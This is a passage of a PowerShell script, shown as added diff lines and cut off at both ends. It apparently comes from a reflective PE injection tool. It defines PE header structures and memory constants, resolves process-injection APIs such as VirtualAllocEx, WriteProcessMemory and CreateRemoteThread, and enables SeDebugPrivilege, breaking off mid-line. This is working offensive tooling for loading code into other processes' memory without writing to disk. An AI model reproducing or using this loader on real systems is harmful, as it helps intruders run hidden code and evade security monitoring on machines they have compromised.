'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself + $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP + if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) { + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + } + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Get-Hex + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + $Value #We will determine the type dynamically + ) + + $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2 + $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first. + + return $Hex + } + + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable 